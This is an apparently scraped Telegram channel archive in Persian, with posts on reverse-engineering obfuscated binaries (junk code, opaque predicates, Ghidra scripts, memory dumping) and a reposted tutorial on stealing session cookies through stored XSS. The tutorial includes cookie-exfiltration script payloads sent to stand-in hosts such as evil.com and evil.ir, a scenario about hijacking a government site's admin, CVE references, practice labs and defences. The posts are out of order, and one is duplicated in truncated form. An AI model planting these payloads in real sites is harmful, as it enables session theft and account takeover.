uz
Feedback
ReverseEngineering

ReverseEngineering

Kanalga Telegram’da o‘tish
1 265
Obunachilar
Ma'lumot yo'q24 soatlar
-37 kun
+730 kun
Postlar arxiv
\n\n🔹 این کوکی معمولاً شامل Session ID یا JWT هست که اگه دست هکر بیفته، می‌تونه دقیقاً مثل قربانی وارد حسابش بشه.\n\n🔥 سناریو: هک حساب مدیر سایت دولتی با XSS\n\nقدم ۱: سایت یه فرم نظر یا چت داره که ورودی رو بدون فیلتر ذخیره می‌کنه\n\nهکر این payload رو می‌فرسته:\n\n\n\nقدم ۲: مدیر سایت وارد پنل میشه و نظر رو می‌خونه\n\nکد اجرا میشه و کوکی مدیر میره برای هکر!\n\nقدم ۳: هکر با استفاده از کوکی وارد پنل میشه:\n\nGET /admin HTTP/1.1\nCookie: sessionid=abc123xyz\n\n حالا هکر دسترسی کامل داره! اطلاعات کاربران، تغییر تنظیمات، حذف دیتا و...\n\n🧨 آسیب‌پذیری‌های واقعی (CVE) با همین تکنیک:\n\n✅ CVE-2020-35489 – Stored XSS in Flarum Forum\n\n🔹 کوکی کاربر قابل سرقت بود\n🔗 [Exploit on GitHub](https://github.com/flarum/core/security/advisories/GHSA-vfx9-qq5v-wmr8)\n🧪 تمرین در: [PortSwigger LAB: Exploiting stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-event-handler-attribute)\n\n————————————\n\n✅ CVE-2019-11043 – PHP-FPM RCE (ولی با XSS chain)\n\n🔹 می‌تونست با RCE به کوکی sessionها هم دسترسی پیدا کنه\n🔗 [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam)\n\n———————————\n\n✅ CVE-2021-21315 – XSS در GitHub Pages\n\n🔹 صفحات شخصی HTML می‌تونستن XSS ایجاد کنن\n🔗 [https://github.com/advisories/GHSA-4xvj-8m33-4wfc](https://github.com/advisories/GHSA-4xvj-8m33-4wfc)\n\n————————————\n\n 🧪 لابراتورهای تمرینی برای این حمله:\n\n🔹 PortSwigger Labs:\n\nStored XSS exploiting document.cookie\n 🔗 [https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie](https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie)\n\n🔹 DVWA - XSS Module:\n🔗 [http://dvwa.local/vulnerabilities/xss\\_s/](http://dvwa.local/vulnerabilities/xss_s/)\n\n🔹 OWASP Juice Shop (Chapter: “XSS Tier 1,2,3”)\n\n————————————\nچطور جلوی این حمله رو بگیریم؟\n\n✅ همه ورودی‌ها رو sanitize و encode کن\n✅ از HttpOnly برای کوکی‌های حساس استفاده کن\n✅ فیلتر کردن تگ‌های HTML، خصوصاً
ابزارهای آماده BinDiff: برای مقایسه نسخه مبهم‌سازی‌شده با نسخه اصلی (اگه داشته باشید) Diaphora: پلاگین مقایسه برای IDA

روش‌های شناسایی و حذف Junk Code: دستی (Manual) توی Ghidra یا IDA دنبال دستوراتی بگردید که: ورودی و خروجی ندارن روی ثبات‌ها (registers) تغییری ایجاد نمی‌کنن به مسیر اجرایی اصلی مرتبط نیستن خودکار با اسکریپت Ghidra می‌تونیید اسکریپت بنویسید که: دنبال nop, push/pop جفتی و xor reg, reg بگرده بلاک‌هایی که فقط اینا رو دارن پاک یا علامت‌گذاری کنه

چرا این کارو می‌کنن؟ برای فریب دادن الگوریتم‌های decompiler برای طولانی و بی‌نظم کردن گراف کنترل جریان (CFG) برای کند کردن اسکریپت‌های تحلیل خودکار

تغییری در وضعیت ایجاد نمی‌کنه / push eax pop eax nop بی اثر است no-operation و بعد add ecx, 0 باعث می‌شه ecx همچنان صفر بمونه در نهایت با jmp مستقیم به کد اصلی میره

مثال ساده از Junk Code:
push eax pop eax nop xor ecx, ecx add ecx, 0 jmp real_code

Junk Code Injection روش‌های حذفش یعنی تزریق دستوراتی که هیچ اثری روی اجرای برنامه ندارن فقط برای گمراه کردن تحلیلگر یا دیباگر استفاده میشن

ابزارهای مفید: ابزار کاربرد
Ghidra تحلیل کد پیچیده ساخت گراف کنترل جریان IDA Pro دیس‌اسمبلی پیشرفته و دید بصری گراف‌ها Binary Ninja ساده‌تر ولی مناسب برای obfuscation Ghidra Scripts نوشتن اسکریپت‌های تحلیل خودکار

تکنیک‌های Deobfuscation با استفاده از Ghidra یا IDA: مسیرهای شرطی غیرمنطقی (مثل cmp eax, eax) رو شناسایی و حذف کنید برچسب‌ها (labels) و نام تابع‌ها رو خودتون معنی دار کنید تا سردرگم نشید توی Ghidra می‌تونی از Script Manager استفاده کنید و اسکریپت‌هایی بنویسید که: بلاک‌های غیرقابل دسترس (dead code) رو علامت‌گذاری کنن توابع جعلی یا بی‌اثر رو از مسیر تحلیل حذف کنید

تحلیل کد بالا در ابزارهایی مثل Ghidra یا IDA: cmp eax, eax + jne همیشه falseمیشه، پس مسیر fake_branch عملا مرده‌ست junk_function هیچ کاری نمی‌کنه و فقط برای گیج کردن دیس‌اسمبلر استفاده شده real_function هدف اصلیه ولی وسط یک ساختار غیرخطی پنهان شده

Asm
start: push ebp mov ebp, esp cmp eax, eax jne fake_branch nop nop call real_function jmp end fake_branch: xor eax, eax call junk_function jmp start real_function: ; کد واقعی برنامه ; ... ret junk_function: nop nop ret end: mov esp, ebp pop ebp ret

تحلیل یک باینری با Control Flow Obfuscation توی این قسمت یاد می‌گیریم چطور کدهایی که عمدا ساختار طبیعی‌شون به‌هم ریخته رو شناسایی کنیم و تمیز کنیم

Repost from Hack Hive
🎯 دزدیدن کوکی و Hijack کردن نشست کاربر با XSS 🚨 حمله سرقت کوکی با XSS 🥷🏻 📢 یه آسیب‌پذیری رایج و بسیار خطرناک تو خیلی از سایت‌ها هست به اسم XSS (Cross-Site Scripting) که هکرا ازش استفاده می‌کنن تا کوکی کاربر رو بدزدن و وارد حساب اون بشن! ❗️اگه سایتت جلوی XSS رو نگرفته باشه، یه اسکریپت ساده می‌تونه نشست کاربر رو هک کنه. مثلاً فرض کن مدیر سایت یه ادمین بانک یا سامانه دولتیه! 🕵️‍♂️ ماجرا چیه؟ حمله XSS باعث می‌شه هکر بتونه روی مرورگر قربانی، کد جاوااسکریپت دلخواه اجرا کنه. اگه کوکی کاربر HttpOnly نباشه، به‌راحتی با یه اسکریپت می‌شه اونو دزدید: <script> fetch('https://evil.com/steal?cookie=' + document.cookie); </script> 🔹 این کوکی معمولاً شامل Session ID یا JWT هست که اگه دست هکر بیفته، می‌تونه دقیقاً مثل قربانی وارد حسابش بشه. 🔥 سناریو: هک حساب مدیر سایت دولتی با XSS قدم ۱: سایت یه فرم نظر یا چت داره که ورودی رو بدون فیلتر ذخیره می‌کنه هکر این payload رو می‌فرسته: <script> new Image().src="https://evil.ir/steal?c="+document.cookie </script> قدم ۲: مدیر سایت وارد پنل میشه و نظر رو می‌خونه کد اجرا میشه و کوکی مدیر میره برای هکر! قدم ۳: هکر با استفاده از کوکی وارد پنل میشه: GET /admin HTTP/1.1 Cookie: sessionid=abc123xyz حالا هکر دسترسی کامل داره! اطلاعات کاربران، تغییر تنظیمات، حذف دیتا و... 🧨 آسیب‌پذیری‌های واقعی (CVE) با همین تکنیک: ✅ CVE-2020-35489 – Stored XSS in Flarum Forum 🔹 کوکی کاربر قابل سرقت بود 🔗 [Exploit on GitHub](https://github.com/flarum/core/security/advisories/GHSA-vfx9-qq5v-wmr8) 🧪 تمرین در: [PortSwigger LAB: Exploiting stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-event-handler-attribute) ———————————— ✅ CVE-2019-11043 – PHP-FPM RCE (ولی با XSS chain) 🔹 می‌تونست با RCE به کوکی sessionها هم دسترسی پیدا کنه 🔗 [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam) ——————————— ✅ CVE-2021-21315 – XSS در GitHub Pages 🔹 صفحات شخصی HTML می‌تونستن XSS ایجاد کنن 🔗 [https://github.com/advisories/GHSA-4xvj-8m33-4wfc](https://github.com/advisories/GHSA-4xvj-8m33-4wfc) ———————————— 🧪 لابراتورهای تمرینی برای این حمله: 🔹 PortSwigger Labs: Stored XSS exploiting document.cookie 🔗 [https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie](https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie) 🔹 DVWA - XSS Module: 🔗 [http://dvwa.local/vulnerabilities/xss\_s/](http://dvwa.local/vulnerabilities/xss_s/) 🔹 OWASP Juice Shop (Chapter: “XSS Tier 1,2,3”) ———————————— چطور جلوی این حمله رو بگیریم؟ ✅ همه ورودی‌ها رو sanitize و encode کن ✅ از HttpOnly برای کوکی‌های حساس استفاده کن ✅ فیلتر کردن تگ‌های HTML، خصوصاً <script> ✅ تنظیم Content-Security-Policy (CSP) برای جلوگیری از اجرای کدهای ناخواسته ——————————————— @hackhive_channel 🐝 ———————————————

توضیح کاربردها:
بدافزارها برای پنهان کردن رفتار واقعی‌شون استفاده می‌کنن
توسعه‌دهندگان نرم‌افزارهای پولی برای جلوگیری از کرک
حتی گاهی برای مخفی کردن بخشی از منطق تجاری یا کد لایسنس استفاده میشه

انواع تکنیک‌های رایج Obfuscation
Renaming (تغییر نام‌ها): تغییر نام تابع‌ها متغیرها کلاس‌ها به اسم‌های بی‌معنا مثل a, b2, _x1 و غیره در کد NET. و Java خیلی رایجه 2 Control Flow Obfuscation: تغییر ساختار طبیعی کدها با اضافه کردن پرش‌های بی‌ربط if/elseهای بی‌معنا و لوپ‌های تودرتو در اسمبلی به شکل JMP‌های زیاد، CALL های بی‌دلیل یا پرش‌های به عقب دیده میشه 3 Junk Code Injection: تزریق دستوراتی که هیچ کاری نمی‌کنن (NOP، push/pop‌های بی‌اثر) فقط برای گمراه کردن دیباگر یا دیس‌اسمبلر 4 Opaque Predicates: شرط هایی که همیشه درست یا غلط هستن ولی تحلیل‌گر رو گیج میکنن مثل: CMP EAX, EAX JNE somewhere ; این هیچ‌وقت اجرا نمیشه 5 String Encryption: رمزنگاری رشته‌ها (مثل نام توابع، URLها کلیدها) که فقط در زمان اجرا رمزگشایی میشن 6 Anti-Decompiler / Anti-Debug Tricks: مثل IsDebuggerPresent, CheckRemoteDebuggerPresent و دستوراتی که ابزارهای تحلیل رو crash میکنن

گرفتن Dump از حافظه وقتی به OEP رسیدیم: از ابزار Scylla یا x64dbg استفاده کنیم برای گرفتن Memory Dump آدرس‌های سکشن‌ها و Import Table رو ذخیره کنید